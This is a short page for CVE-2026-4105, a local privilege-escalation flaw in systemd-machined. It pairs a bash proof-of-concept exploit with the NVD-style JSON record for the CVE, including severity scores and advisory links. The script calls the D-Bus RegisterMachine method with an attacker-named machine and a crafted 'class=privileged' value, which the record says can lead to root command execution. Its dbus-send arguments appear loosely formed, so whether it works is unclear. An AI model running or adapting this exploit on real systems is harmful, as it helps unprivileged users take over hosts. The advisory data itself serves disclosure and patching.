CVE-2026-4105

#!/bin/bash # CVE-2026-4105 PoC - systemd-machined Improper Access Control # This PoC demonstrates the class parameter validation issue # Check if dbus-send is available if ! command -v dbus-send &> /dev/null; then echo "dbus-send not found. Install dbus-tools first." exit 1 fi # Target D-Bus path for systemd-machined DBUS_PATH="/org/freedesktop/machine1" DBUS_IFACE="org.freedesktop.machine1.Machine" # Attempt to register a machine with attacker-controlled class parameter echo "[*] Attempting to exploit CVE-2026-4105..." echo "[*] Target: systemd-machined RegisterMachine method" # This attempts to register a machine with a specific class value # that may bypass proper access control validation dbus-send --system \ --dest=org.freedesktop.machine1 \ --print-reply \ "$DBUS_PATH" \ "$DBUS_IFACE.RegisterMachine" \ string:"attacker_machine" \ array:string:"class=privileged" \ string:"" \ dict:string:variant:"" echo "[+] If successful, this creates a controllable machine object" echo "[+] Attacker can then invoke privileged methods on the object"

{"cve": {"id": "CVE-2026-4105", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:55:13.673", "lastModified": "2026-04-30T17:16:26.697", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in systemd. The systemd-machined service contains an Improper Access Control vulnerability due to insufficient validation of the class parameter in the RegisterMachine D-Bus (Desktop Bus) method. A local unprivileged user can exploit this by attempting to register a machine with a specific class value, which may leave behind a usable, attacker-controlled machine object. This allows the attacker to invoke methods on the privileged object, leading to the execution of arbitrary commands with root privileges on the host system."}, {"lang": "es", "value": "Se encontró un defecto en systemd. El servicio systemd-machined contiene una vulnerabilidad de control de acceso impropio debido a la validación insuficiente del parámetro class en el método RegisterMachine de D-Bus (Desktop Bus). Un usuario local sin privilegios puede explotar esto al intentar registrar una máquina con un valor de clase específico, lo que puede dejar un objeto de máquina utilizable y controlado por el atacante. Esto permite al atacante invocar métodos en el objeto privilegiado, lo que lleva a la ejecución de comandos arbitrarios con privilegios de root en el sistema anfitrión."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:7299", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2026-4105", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2447262", "source": "[email protected]"}, {"url": "https://github.com/systemd/systemd/security/advisories/GHSA-4h6x-r8vx-3862", "source": "[email protected]"}]}}